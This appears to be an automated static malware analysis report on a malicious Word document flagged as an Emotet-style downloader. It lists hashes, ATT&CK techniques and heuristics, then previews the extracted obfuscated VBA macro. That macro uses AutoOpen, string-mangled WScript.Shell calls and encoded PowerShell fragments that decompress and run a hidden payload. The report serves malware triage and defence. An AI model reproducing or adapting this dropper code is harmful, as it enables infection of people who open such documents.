Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a69cfb75838d9bc7…

MALICIOUS

Office (OLE)

216.5 KB Created: 2018-04-04 14:01:00 Authoring application: Microsoft Office Word First seen: 2018-04-23
MD5: 8448440a1f3b5e85f4b23fb2d025b1e9 SHA-1: 1bc236d5007a1784269d91fd8a021eb8402e71c2 SHA-256: a69cfb75838d9bc7219adba8dc531cfb6c37cffba8d3ee22a1de4b32c0fac523
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Office document containing VBA macros, specifically an AutoOpen macro, which is a common technique for initial execution. The macros utilize CreateObject and appear to be designed to download and execute a second-stage payload from a remote source, as indicated by the 'lfAwr' function calls which likely resolve to URL fetching. The ClamAV detection 'Doc.Malware.Emodldr-10025032-0' further supports its malicious nature.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    End Select
CreateObject(acBKZTSikwbkG).Run KQtuWooXfvub + Chr(VBA.vbKeyC) + YcjkVZjas + jYpqznDBav + ddLYV, vbHide
Select Case KDcmJ
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub _
AutoOpen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 42342 bytes
SHA-256: 3bc9488693e6beccdb8d26806d5fddd225cd9e2b843abc43cfb62266ac93f925
Detection
ClamAV: No threats found
Obfuscation or payload: likely
614 of 906 identifiers look randomly generated (e.g. 'FfoE50foBtRj4I4Rn3F85bX3PfimZFXfeZDzovPu'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation. Carved artifact contains 10 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "LtDBOfUCjrRfIK"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "hXsBZBszi"
Function PCVmAVOswBT()
On Error Resume Next
Select Case LcSMcL
         Case 20195
            FnhQQ = 33786
            haOKq = Sqr(18060)
         Case 48179
            pMmGaT = CSng(vujLT)
            QMhCL = wPEpU
End Select
VcBtcCWtWKt = lfAwr("mdj6.VYUju01x/a+5gv1sjmyOBv1U292gDdB/nXqP9Yd68/MM+20nvVfe9aBcwW/gRewR/wBDnToF9S/5BwyTs5R0NxvVResv7Ju1tcjPmPuq4yrqJPm3/rK+gz9bM8xn2vUoTU7Je5Hzn3nFQfmFevsF.aX", 6, 147)
Select Case isNWtM
         Case 78236
            vczqFj = 95631
            smjEz = Sqr(96704)
         Case 32159
            hIfFa = CSng(lXRUs)
            oYBXXh = oMqwbG
End Select
Select Case ZkUSt
         Case 88167
            fRXBU = 29786
            omPSI = Sqr(90865)
         Case 3167
            jrOErJ = CSng(VvFBO)
            SMfpi = TfbXHT
End Select
qJDwNtmwPj = lfAwr("PmUnauro/vPsFi5VXBrv7hyq639v3R14363/7V3124R3L9r99m7U/dxcMG7wi1bl+zt3KpJV1e5Veu6wb265d6wh", 5, 82)
Select Case zkwDwn
         Case 38024
            BcEoCQ = 10329
            cvTAvW = Sqr(51079)
         Case 69173
            iHiNIU = CSng(kOLpX)
            JNuYRk = AbXOjw
End Select
Select Case uXwSi
         Case 27090
            jORVSv = 5175
            EXMMDT = Sqr(54102)
         Case 74334
            OqNAKh = CSng(OwuvKQ)
            sFcRAd = YnMtij
End Select
ToqmQmSi = lfAwr("8DsPzZGxPr3iwv46J6Z43C+/vDn639n37rfrh8un9U+P9dnfD7V9F+xWRz/t66OyKiflvJhUx5OiKibH08nJbPLhdFKcnEzKD5NqPimm1eS0mhS2mFUw", 6, 109)
Select Case XLASl
         Case 10543
            oAdWh = 39157
            WBHan = Sqr(61035)
         Case 37072
            bBbJu = CSng(CAGbzo)
            ktcZLn = EwvSJ
End Select
Select Case kLtDcT
         Case 96680
            AFZWjX = 68687
            VOiYK = Sqr(87621)
         Case 6427
            Vuztz = CSng(ntwjjU)
            OqsbQG = IFYCni
End Select
AoEIqzWGFSB = lfAwr("Zng]::AScII) ).REadtOENd() |& ( $ENv:COMSpeC[4,15,25]-jOIn'')SUto1", 2, 60)
Select Case zGIjq
         Case 15818
            hhTEwH = 34101
            aAqPoG = Sqr(45527)
         Case 81765
            umQuQW = CSng(GQfomo)
            qLrhJY = RzVdi
End Select
Select Case OjzIQO
         Case 98308
            PDhtaZ = 27174
            qzXpE = Sqr(41651)
         Case 45886
            kkRKY = CSng(aNijz)
            wZwjnO = svlmL
End Select
zEchO = lfAwr("Hww2h5dMS5FXC4Yl5pJ2AOnfoGePyccWCJvkM+2W82n7ZPo7k23rA+EO6h7yz+3uzOaMeeq3MeW+BbEP8g3+QFR3wDFOIN", 3, 86)
Select Case nNRwU
         Case 67363
            LfXjwo = 41818
            dTLrcd = Sqr(49173)
         Case 32351
            nCpUf = CSng(zwGJk)
            IPOAE = SBQnz
End Select
Select Case OdaAAk
         Case 82419
            umDDj = 78018
            UauzMQ = Sqr(28950)
         Case 57108
            uhKYd = CSng(cEias)
            UWdTUK = tZGfI
End Select
UhVDvlSbH = lfAwr("qw2vAJcsD+qbVe3v16164EdmXwCXyDPva/DA7gXzGPAx5bg0PDnWtUOfIvGY7eX7IG5wv4GCBPAnXO9UT/ZXWu4E42kbOIecV8/1Kf2yfXnNhuEn8aB3xCfi1asmPqJO9XwuPvd6PwqFi8.h", 4, 137)
Select Case vjFiF
         Case 56142
            AJFTaS = 63176
            KzYJvK = Sqr(1216)
         Case 5960
            jsFCj = CSng(oBBOhR)
            ZZwtn = RJtBd
End Select
Select Case nmGAzl
         Case 33364
            tzpGR = 47495
            imipB = Sqr(29188)
         Case 81077
            jHrpCl = CSng(SDnAu)
            DbGJO = czZJjm
End Select
ZKOBXVtd = lfAwr("vv+dwf8nmMF88jf8", 3, 8)
Select Case EDdzF
         Case 69704
            IZsGwO = 62118
            imTQiw = Sqr(52478)
         Case 20431
            jmVNjH = CSng(HDjhEp)
            iQzPd = AMANrT
End Select
Select Case uTBzV
         Case 97021
            smlYz = 33182
            KiQDWT = Sqr(39480)
         Case 47828
            LkjwzZ = CSng(DsVBT)
            cGjUIw = fCzOLD
End Select
FmYjjZS = lfAwr("Kz5jJ+Ru/u0A/ZR7d6vmevJzPZzX5+J/6LDLf1M+jbokZB/idx+Vz8nr8vhClT5QX4lh9+D7hmN/8vUG4BB2L/mMcnFvPeUN+WGfGMepdrzz1PMdSt05xLgb+1/xOwPwO4t1X8VihvL7yHEA8Hb9vcR/PcwzPtSMPlqrLjPxnfvU856x66hP", 6, 173)
Select Case hhniwV
         Case 47360
            MlCTTY = 65611
            iPaTFJ = Sqr(39825)
         Case 3753
            VfQJl = CSng(kvsjW)
            qCwSm = zRofVz
End Select
Select Case IjCIQ
         Case 75058
            qNzpk = 9157
            hhrjkr = Sqr(55016)
         Case 20326
            TRZncU = CSng(GoiFw)
            jmQzns = KARsAw
End Select
VAEjqZBjij = lfAwr(".wfnSG2H2Li4vLh7fple6yafnKOV75bXd2ffG+dQ8XN+4uvXJRn/19Xj9enjffVk/f/3h8Ok++vH1zclydln8WRXF8Us3+mlblrCpmfxTH0/n0aj6r5m1cfHBL566GxYurg/N+8tN5", 7, 129)
Select Case CcJaj
         Case 95430
            irrzsW = 3042
            BCzonw = Sqr(10260)
         Case 36511
            EkQpTA = CSng(mdNIdi)
            WzJBv = zuWsS
End Select
Select Case FYOLG
         Case 61717
            iAWSrP = 44306
            ltYES = Sqr(51996)
         Case 74060
            srzrz = CSng(JSKLNK)
            SAjjnh = nEDqzk
End Select
wKadANXRT = lfAwr("Fixnq2vOB+bsU6OuBFins8X8oj88pw7xoHrVPP7Sv7ifHTC+xF3Wdc6z1Gn52i/tXqiXkH9Q54I7EvgB3mIODLm3Vn8+8yz1C1T6Zlb4fCLcPhG/EBcieRlxtEpvYPN", 3, 120)
Select Case LIpwj
         Case 36820
            VTIoB = 90106
            DIfCME = Sqr(36549)
         Case 86253
            VitCTo = CSng(HrNZwK)
            Njrhz = Xulmtj
End Select
Select Case mYbtn
         Case 9953
            ziwqI = 88733
            JAkZMa = Sqr(91565)
         Case 16246
            PSWbj = CSng(CqcnoW)
            rZVQtz = dozTF
End Select
qETAD = lfAwr("MwMK99/cZb3oP9bP8mX2rh9XJ+srub+29W+u/FnmvLd+3Oe7V2Jf4X2i/Z/RYZ", 7, 54)
Select Case iJhbm
         Case 10230
            EMaQdd = 19385
            GOUFMb = Sqr(17686)
         Case 21526
            vhvuq = CSng(TDWbFs)
            ABjsd = wEmPpm
End Select
Select Case oQsWv
         Case 21280
            kVIcDV = 8985
            niwFMl = Sqr(17216)
         Case 7067
            JXhTIZ = CSng(CHMOK)
            pwMAJ = UvkhW
End Select
PEUTlaNdPj = lfAwr("MZ.vnbmp5PT03dH6Qw8", 6, 11)
Select Case wnbXu
         Case 74084
            MwMYdO = 54332
            oavIph = Sqr(38575)
         Case 78606
            sLbtj = CSng(YpKPL)
            siNajw = cYjmh
End Select
Select Case oFhZf
         Case 91748
            TJOTX = 75100
            mdSUIi = Sqr(50707)
         Case 5987
            CzSiV = CSng(luPlWc)
            jiDcCX = ZNOLd
End Select
YtjAYzFTkjv = lfAwr("ZkZd9Bp4Af6HPyVemv1Rf4GutedhrzprME9lf2NtLbwnvwRPEA/SH1R1z6InX8FM44qjrsi6RwJI", 4, 70)
Select Case nsFFZ
         Case 84545
            AfZMQi = 38926
            TDmQP = Sqr(7309)
         Case 87364
            QfbDlf = CSng(lHBzLs)
            KLirhE = rMTCt
End Select
Select Case hIaGlW
         Case 44690
            czOIC = 97358
            MDliYB = Sqr(66453)
         Case 35676
            quVhC = CSng(zInOH)
            iadjSi = zwWqcU
End Select
sQZhaiRNh = lfAwr("mbyYfAM+A555N60B361bNvqGeD/KxZD9Sb5xPqtUZ846XHevFlIzw88Ecr/AyR+NmNdYzkM85vI/6IqvPod0McIm+VGXdWo94M1InsG+gv5tupT1vi10r9A76ibutU1zyP4iPq9Ya8jfiIfxvxIs8L0ms8n5XC31FnVtTdzCvxb+SlvfRApC6yOgB/vHTmAc83I94BZtawU", 2, 197)
Select Case qqdotw
         Case 80709
            QqBpD = 15755
            FUnquh = Sqr(56779)
         Case 15654
            GTCVGT = CSng(sNWdI)
            zUIwHJ = hciXwr
End Select
Select Case OOcCY
         Case 41998
            iGUpd = 84459
            MzjSCJ = Sqr(99014)
         Case 43993
            cNIvj = CSng(jQUMnf)
            oiKhMq = sfatfl
End Select
zvJnl = lfAwr("s1cfLz69PXnnz8/nT99v3h6DHawov", 2, 22)
Select Case wRBiJ
         Case 83092
            ApQal = 84687
            EVQEGR = Sqr(17268)
         Case 8333
            UzJkU = CSng(mOQvmj)
            Shdntn = tHbwMo
End Select
Select Case wNQjw
         Case 73654
            lbXQk = 34070
            wiBJm = Sqr(64493)
         Case 36820
            zSonz = CSng(RNOiW)
            XWrrSS = nCWDaY
End Select
hwuosV = lfAwr("wOz619Hbox8ubuq7u93yS/H1xx8uPl5/+rT780sx+/rjm+c379L9t0dfHvpvl7v7+n3TPV05U5d", 3, 69)
Select Case EnXTjj
         Case 87800
            PzvJpz = 38283
            ImOld = Sqr(48920)
         Case 74430
            qTwfK = CSng(PNPOHi)
            uzqmlH = wJdiTp
End Select
Select Case vvDPa
         Case 63845
            jzRlZh = 7030
            VMozP = Sqr(42765)
         Case 55200
            OqWFt = CSng(hzoaTW)
            ZZNfN = AdkrUC
End Select
zCiELLcr = lfAwr("KSw1T7j/2MfuhZp2WQX1j9bI+bOz5W9l7Ud0L9Kv5jTpwn05xJHt78yv5OZd/M8SPvPSMK/mb4sR8dahfz31tzlDnrT1Xql7PyAPWG/ZpysMm2j615g1+vxzmzLMeNr/IN/Z71VxNlWfs0w2chzSPd2Yzj", 5, 148)
Select Case PVbRz
         Case 78515
            XoYDc = 9868
            SSzwO = Sqr(64118)
         Case 20576
            mbSCvc = CSng(dzCDjL)
            XWbiD = kAKDIV
End Select
Select Case PblKHl
         Case 12932
            TVdkZr = 26062
            imnZRS = Sqr(18960)
         Case 7943
            DnzYz = CSng(JbXbuX)
            bwzUbX = ifzZTt
End Select
MLpGjNpGohY = lfAwr("MUQffu3f8B') ,[SYStem.Io.coMPREsSIOn.COmPresSioNmoDE]::dEcOMprEss)) ,[SysTEm.Text.EnCODiYPTZvk", 4, 85)
Select Case PUhzRh
         Case 5371
            zGbTj = 39649
            CQTLw = Sqr(21578)
         Case 79836
            zqmMZX = CSng(aEGDtG)
            dcpiXA = sIrXZd
End Select
Select Case tBJzw
         Case 52214
            mjtbiH = 10750
            aqiGY = Sqr(98351)
         Case 26354
            aEkwvr = CSng(ojHhV)
            Ypmjwl = mCHwG
End Select
ZkmwJs = lfAwr("Nf//31FfoE50foBtRj4I4Rn3F85bX3PfimZFXfeZDzovPuBR07YRHQXkh3tXi3VZz57XvqBNafZ8Anr8K716JG5zfVri/EQ6H8byd+ZT8xPPmeA4OPn6M", 3, 111)
Select Case dJYhk
         Case 30508
            LjsNcm = 91990
            FsWZk = Sqr(51488)
         Case 3464
            waZNK = CSng(Xzmsh)
            GPBXS = YpzYDM
End Select
Select Case PMwMC
         Case 92936
            rZmiAa = 7661
            Rwitb = Sqr(94606)
         Case 88142
            WshJQ = CSng(XcfVkD)
            KPoXzZ = zhFij
End Select
IKsiSV = lfAwr("aUhZwHyfvZtpTmDv2tP3CI/R81dT/y2fhLudZ5zxLmBbiqEozvh9JTrmU/vgOeD+i7mviowR8ob8JfzN+JWJVwAXzD+7QE/HPkF+M16jTx/S3zX", 7, 103)
Select Case MAIEGP
         Case 40850
            aUVnV = 9024
            JCfpA = Sqr(23609)
         Case 12764
            pVbXrH = CSng(mDcaaW)
            bOUip = uTkiVz
End Select
Select Case njhsNi
         Case 44275
            ULMLZ = 34403
            Cvhql = Sqr(40530)
         Case 11274
            AmTNXr = CSng(KmhpNU)
            aBcMHb = ViMMWS
End Select
KWSPLpOOf = lfAwr("QnHjDhCPA+8gmfNXi2dOOpC1FP8SJxrpReZF5338Z2B5z3q1VrnoebAa7kOZqfR/Djpu1o4vBUu1fQT5xTGTwZF8", 4, 81)
Select Case iHXIh
         Case 79338
            FtQzhV = 2606
            ikEkZU = Sqr(61499)
         Case 26241
            NiHiI = CSng(ABZrc)
            JjffwV = LMaFl
End Select
Select Case HXibYz
         Case 19874
            TwGia = 7711
            wUwKi = Sqr(56666)
         Case 13657
            iRRwt = CSng(bwmck)
            XfrDM = VEnZjN
End Select
aCornFqojSY = lfAwr("HoMFcjg3KP+sViRfLXnrCdBl1FXGjVT4xV8jL2o/6gHnvIvNH3mgPegJ6KsivQJzj/BWo98gP+I88TqW3ZtKVo36uMD8DdU1Avf7BG5H5ZB4PPBjAg9BBFfRA1h22H/q1JM+rjsLxjXROG+lfUP2xH3XFqAefVYep9DJwcsQt8CFwnvoCepO8OVMeS+H9DfIsZ", 6, 187)
Select Case loohA
         Case 68330
            AOAJG = 5708
            lszUG = Sqr(79975)
         Case 82421
            SdtwsI = CSng(VJlEW)
            jnRms = MIfiwJ
End Select
Select Case nLUrE
         Case 76465
            BzLrOL = 97286
            DLEqjV = Sqr(61176)
         Case 98499
            jdfNo = CSng(ftICB)
            ZlLuiI = BQpRki
End Select
ZMiNzhSi = lfAwr("kNV8mfB7zw2onnGvGRly5xwu0+8z7zLTtL6UjOh+LQeTGOOlA6w0ufjXMqfN9kHpDu8+INxDue/0LWOUF4S9xx4qV95k/qvzavd7nviafgXdORPuu3Oc8Z1CGjHs/6NercdNBz0B0bPI849uL5UnmXnpZ+HYg7a0cdtpYOa9Efe+EtzgXovy7qnDVIP0gfzE", 7, 184)
Select Case BRoWrH
         Case 24521
            IaIONa = 60275
            GIzmdZ = Sqr(87440)
         Case 91784
            NFwIu = CSng(ujBVO)
            lKtld = klQuzV
End Select
Select Case nSMaf
         Case 2101
            MdKhm = 72942
            jMXPw = Sqr(89531)
         Case 49111
            kObiq = CSng(wkrML)
            wQhiu = rWMzw
End Select
shjBFusDU = lfAwr("n/rD8/1uf/bc6uH9/fXzIJ08JN", 2, 19)
Select Case wZbiPi
         Case 11785
            fmhzz = 1880
            wQtSU = Sqr(51876)
         Case 37221
            TftUj = CSng(DnnQw)
            RtNVJG = mJijit
End Select
Select Case DOtTrY
         Case 29130
            vWmwtl = 98941
            QsYmX = Sqr(51267)
         Case 16109
            MCsGui = CSng(jBHZMQ)
            MXGla = hbOWo
End Select
aijSCKTfIQO = lfAwr("TG8tnZu6ZXQhLm7sfxfds1vWbhNt3bt2SM+n+2vP/+n+3C0bu1/aeuvtva0Lg13T/WGxx9Uv7tyqTvZt3bmNo/3Wnkt+pPU7twzmzM2K", 4, 98)
Select Case omFzX
         Case 55968
            NGpfJ = 69350
            sGvmL = Sqr(74395)
         Case 12364
            jBjmzi = CSng(lnWRbq)
            aBjwGD = XszAJ
End Select
Select Case KLEuv
         Case 30274
            nZdsIV = 53195
            lPsGa = Sqr(78642)
         Case 48736
            wjOujj = CSng(czBQka)
            BatqJ = HHiAR
End Select
tTaUl = lfAwr("hs9n4tdYTfFtYG/0exX9lz6n+73rnPm79b8rWAvusHe2zj6l/bbWZzJz5lbeXt+qv13fM/2TfvYvuka/OLW8hCi8oM8bO06wH9n697sz2y/lIfS9gtDum/vKS8d9t/L3z7nOeXhPseJfdJ+KY5kZ4Y4zf8V8ow6BE8/O08/Ut1Ke36MM63Pldd7s5fiRD66aQT", 5, 188)
Select Case EikmFa
         Case 72001
            GOhVz = 13572
            AsGErs = Sqr(31933)
         Case 26767
            NkfDp = CSng(CNdkcD)
            NvqwMO = tYsChH
End Select
Select Case hqkRb
         Case 86090
            wzJLF = 45980
            tSjWID = Sqr(80563)
         Case 63952
            wiDwL = CSng(XszhwS)
            cQFfhu = ZSLpHu
End Select
mhUCpsmmEzj = lfAwr("Z9PXc86471lHe65lPBYH7NTcfwV/BtiPrMsGeXaqx579BPvMJ+LG/Nl7zvzbwz76y+e6s35ec4t9X2AHdhHPDPNgfi5b4iY8fL", 4, 90)
Select Case SRXmL
         Case 99654
            onYvsD = 52571
            MYbQA = Sqr(80430)
         Case 35964
            dVvnj = CSng(SOpQhF)
            bvkSIn = hjprSI
End Select
Select Case FNQQC
         Case 97363
            snYiM = 33443
            hXEBU = Sqr(58829)
         Case 10248
            mvIht = CSng(NXpRO)
            IIfBT = AAPzb
End Select
RjECPoLiRJ = lfAwr("niTFHlEPWeK4xX1RB1Gu632Rbwl/LU8Jfshsk7p+R388+m9lL/g1Q8u9YP5if2j5b+0/8ke6rJBnnvb9wV9hTiRL6x3kfvDb+ZrZnGs0R/YD80", 5, 104)
Select Case iSfVb
         Case 74172
            iClaV = 15408
            FOiPj = Sqr(32999)
         Case 96511
            KZrChJ = CSng(EEoTEw)
            crvCwk = WhKtw
End Select
Select Case FJLOYw
         Case 66109
            dKzvYS = 14913
            rzZsU = Sqr(11215)
         Case 9983
            HRGcac = CSng(OjQkS)
            lKjzE = zXTYz
End Select
uvYOfaFvEW = lfAwr("8Znm( .('NeW'+'-Ob'+'Je'+'cT') ('S'+'ystEm.IO'+'.s'+'TrE'+'am'+'RE'+'aDER')((.('N'+'eW-Ob'+'JecT') ('iO.COM'+'pRessION'+'.'+'DEFlaTeSTRe'+'aM')( [SysTEm.iO.MeMORyStrEAMFsZ1", 5, 164)
Select Case jQQCT
         Case 44912
            ENGGqF = 19663
            GiLHh = Sqr(79144)
         Case 16472
            ppsQq = CSng(aotJP)
            LnMQtl = DfDtu
End Select
Select Case nwDnGV
         Case 10135
            UInNwk = 89521
            DsTTaa = Sqr(87807)
         Case 87669
            XkNAw = CSng(QbFYFX)
            RzHbzp = Xsfhqc
End Select
EjXQXuZC = lfAwr("HY8S9wi] [sYsTEm.conVeRt]::FROMbaSe64strinG('TVhdb9tGFv0rfig2CaoGIkXZcYE+jCyuwm5IZWyzxSjIg6u6Y1l2Atju0jb2x+/ccw5HhR4IDck79/OcMz1s", 8, 120)
Select Case hRJMFJ
         Case 45894
            kraYVX = 72079
            LpXSbW = Sqr(23648)
         Case 98074
            EKsiEj = CSng(TAjKv)
            AONiM = AZTLm
End Select
Select Case fPVJWo
         Case 88378
            NirNj = 72247
            vUOkhE = Sqr(42964)
         Case 47680
            YzjPJD = CSng(hMYTIo)
            zOQiFV = zviXd
End Select
LtwGjzhdNcb = lfAwr("FYnvWDw153eruqb86zQ/70jMO8In1E/IJvUK8CwaNIjI", 4, 36)
Select Case inqrI
         Case 81549
            lZFiN = 19952
            KAKRTG = Sqr(44970)
         Case 28019
            RWQDi = CSng(BFsfw)
            tVhKR = LaJlU
End Select
pVKNToRN = aGwlMEWjTRZUsm + """" + NYzmhOtQfdGBrL
PCVmAVOswBT = NBbfnYnTNi + LfBVdYaQsoJMh + REbzWIAZEIaCci + pVKNToRN + wMSiUwCKzmh + uvYOfaFvEW + EjXQXuZC + hwuosV + shjBFusDU + zvJnl + VAEjqZBjij + qJDwNtmwPj + aijSCKTfIQO + tTaUl + RjECPoLiRJ + qETAD + zCiELLcr + mhUCpsmmEzj + VcBtcCWtWKt + zEchO + UhVDvlSbH + wKadANXRT + IKsiSV + LtwGjzhdNcb + YtjAYzFTkjv + aCornFqojSY + sQZhaiRNh + ZMiNzhSi + KWSPLpOOf + ZkmwJs + ZKOBXVtd + FmYjjZS + ToqmQmSi + PEUTlaNdPj + MLpGjNpGohY + AoEIqzWGFSB
Select Case qTHFCf
         Case 45646

            FtTXJW = 74799
            GwYBL = Sqr(77408)
         Case 68061

            oWWNm = CSng(fOowh)
            Inlio = WCtvV
End Select
End Function

Attribute VB_Name = "FViJSooMHI"
Sub tkpUSLkCUYi()
On Error Resume Next
Select Case IAGjEa
         Case 73177

            HjzGY = 65960
            zsiju = Sqr(31861)
         Case 42063

            NpjqPu = CSng(wzbmV)
            LFkmV = XKnivk
End Select
Application.Run "izXZYNO", PCVmAVOswBT
Select Case kJlsj
         Case 35662

            CsuXjW = 28909
            mAflMr = Sqr(77293)
         Case 76004

            tYRzna = CSng(kFEKL)
            ErUjF = KMCzj
End Select
End Sub
Sub _
AutoOpen()
On Error Resume Next
Select Case YmDKXT
         Case 92683

            ozLAo = 29563
            nniRE = Sqr(53174)
         Case 52840

            nRdmVc = CSng(qZiMOn)
            ahkOo = FjTuq
End Select
Call tkpUSLkCUYi
Select Case XZYhf
         Case 18206

            rQsuha = 87831
            IlScA = Sqr(59069)
         Case 69208

            wjqmF = CSng(GzjvUF)
            SrDDR = nhnDnv
End Select
End Sub
Sub izXZYNO(YcjkVZjas As String)
On Error Resume Next
Select Case zvBSp
         Case 41900

            MbAoWs = 1958
            uLlGo = Sqr(84870)
         Case 80419
            PYjiwf = CSng(dCrms)
            wQGzS = qqOjZv
End Select
IbfXQ = "vObiB"
acBKZTSikwbkG = mbRhGa + Replace(Chr(VBA.vbKeyW) + IbfXQ, "vObiB", Chr(VBA.vbKeyS)) + BmtGn + Chr(VBA.vbKeyC) + Replace("rvObiBivObiBpvObiBtvObiB.vObiBsvObiBhvObiBevObiBlvObiBl", "vObiB", "") + hSXmiF
Select Case wwufH
         Case 42380

            zCArKm = 36041
            hMVkLl = Sqr(19078)
         Case 19311

            ALbRX = CSng(bBTnf)
            jlakhI = lBwAXp
End Select
CreateObject(acBKZTSikwbkG).Run KQtuWooXfvub + Chr(VBA.vbKeyC) + YcjkVZjas + jYpqznDBav + ddLYV, vbHide
Select Case KDcmJ
         Case 21132

            YQrzI = 11724
            qFjPML = Sqr(10169)
         Case 3222

            ljjVtQ = CSng(cQCblr)
            oaNhSi = DsUQJX
End Select
End Sub
Function REbzWIAZEIaCci()
On Error Resume Next
Select Case djwHB
         Case 45305
            BsGAX = 15740
            thsjim = Sqr(98822)
         Case 26888
            pziGFW = CSng(lOwzQ)
            UfRWGG = mvSNz
End Select
WivGuFIji = lfAwr("GYh0XvKT%!Z.", 8, 3)
Select Case UMTfcD
         Case 30149
            HKSQD = 58811
            VmZLi = Sqr(94856)
         Case 25210
            OLfsp = CSng(uiVIOB)
            SiVtB = MUwFCc
End Select
Select Case TUiKop
         Case 57382
            CnADOJ = 28960
            GKfvi = Sqr(98909)
         Case 70839
            wZAFmq = CSng(YtWdtR)
            ZQMAn = GEZDEi
End Select
sdHzW = lfAwr("oNT1nzZiwPTsGwNZ%=SpL.P", 6, 16)
Select Case jvzwTj
         Case 90458
            PoYwM = 23977
            KrjVzi = Sqr(71476)
         Case 30303
            hMojuz = CSng(AIMrcu)
            JKWNJb = Ebjith
End Select
Select Case bElFTw
         Case 40074
            hCfNJ = 79949
            XAYtZ = Sqr(84815)
         Case 42374
            KafZu = CSng(vTJDun)
            rLhbiA = poXNAp
End Select
vpuNEtD = lfAwr("9w8F%YcjkVZjas%!!%whvb3Zpq3", 5, 18)
Select Case zsMmpF
         Case 338
            inXZrm = 67785
            KOCzf = Sqr(79142)
         Case 82083
            rrjOV = CSng(SYFpw)
            zQFhaQ = tEIICG
End Select
Select Case wjVXB
         Case 22749
            FCYHvc = 29276
            HXdwr = Sqr(64418)
         Case 80129
            WJsNL = CSng(UXjjh)
            NZvoR = qzhZQm
End Select
cHLuPTG = lfAwr("ASz.sset %IXQBjoUwmFTTkFK", 6, 17)
Select Case SvNXcP
         Case 83856
            QzNIw = 43905
            hBaOvw = Sqr(94878)
         Case 64298
            oiEqrm = CSng(tFitLG)
            EQpHwa = jTQsQf
End Select
Select Case RAihhf
         Case 12004
            rmbWo = 55770
            EodpR = Sqr(64143)
         Case 72160
            tVkop = CSng(QisLJT)
            laKuiW = CwjoL
End Select
EsiAwAivMhh = lfAwr("nLwoEozHsn", 3, 4)
Select Case BBdww
         Case 23199
            wpMzrR = 37635
            DjLiJW = Sqr(35436)
         Case 28267
            ujKaz = CSng(pvcljP)
            wMznq = NMDQDj
End Select
Select Case pTKvBh
         Case 84624
            wIzLs = 8695
            rskACU = Sqr(83027)
         Case 85897
            wALZmz = CSng(SquLsb)
            IPBtA = DDvVF
End Select
dMdZRtbKkjd = lfAwr("tGOJlm%!&QXwnz", 4, 6)
Select Case IIBiSw
         Case 51728
            zBVSj = 98615
            jUwtrP = Sqr(72057)
         Case 52644
            Abqrks = CSng(qTtqZ)
            IbMSF = HtjKB
End Select
Select Case saoIQ
         Case 71325
            brqdIc = 63816
            wsIlfS = Sqr(35219)
         Case 94080
            jaLKmQ = CSng(CVzstE)
            pmpTw = QEwicV
End Select
kcwBFJqlPE = lfAwr("hFoFG%!!%izXZYNO%!!mI8ip3", 4, 16)
Select Case ONKwZ
         Case 56534
            bpabo = 51329
            bmfoDs = Sqr(53295)
         Case 36181
            pwVVJb = CSng(chRqho)
            wSQpo = MOfWhp
End Select
Select Case fQwfX
         Case 13318
            NURTa = 22248
            MhIzz = Sqr(35150)
         Case 16600
            BznAiX = CSng(srGDOH)
            MwFmT = ASXZDQ
End Select
XiiJHM = lfAwr("wRiUYwHsTUMm", 2, 3)
Select Case JTNmP
         Case 147
            PBrXYp = 34740
            ZMXzOB = Sqr(40663)
         Case 19916
            LwQniZ = CSng(wRwlZ)
            TnOPuL = hNiaY
End Select
Select Case mnAMDm
         Case 88344
            ZDqfw = 86363
            ztSMNS = Sqr(20785)
         Case 96544
            ZlXUX = CSng(XQaKj)
            QGTRV = jGmSw
End Select
SSTQwaZKzw = lfAwr("NazI=wzZjjzTJsMQ", 5, 9)
Select Case APXRiA
         Case 32741
            plnSPZ = 4241
            jaEmJ = Sqr(67758)
         Case 62192
            zvsNir = CSng(GpbUHq)
            latIT = TBBwCU
End Select
Select Case llMEp
         Case 89695
            jZfEBK = 32449
            KQCCqo = Sqr(39589)
         Case 24536
            vYojz = CSng(NpmkOl)
            KvGEk = JHrcQw
End Select
adCCMTV = lfAwr("nwdiOSQZqNO", 2, 4)
Select Case fzzfaR
         Case 48269
            IRGwh = 94187
            OPaCI = Sqr(75625)
         Case 10995
            vlDZC = CSng(EwYkVw)
            qGJzM = CiAID
End Select
Select Case ibkviw
         Case 12335
            FSihI = 60116
            jHIBF = Sqr(26104)
         Case 99028
            jvPri = CSng(VhtjM)
            OkYGJ = BRvdjN
End Select
FcRvQ = lfAwr("1KP %XvMfYwS%=ll&&!%IzC", 4, 17)
Select Case qUUSWJ
         Case 34300
            QDAOHb = 27623
            kkAwMG = Sqr(98556)
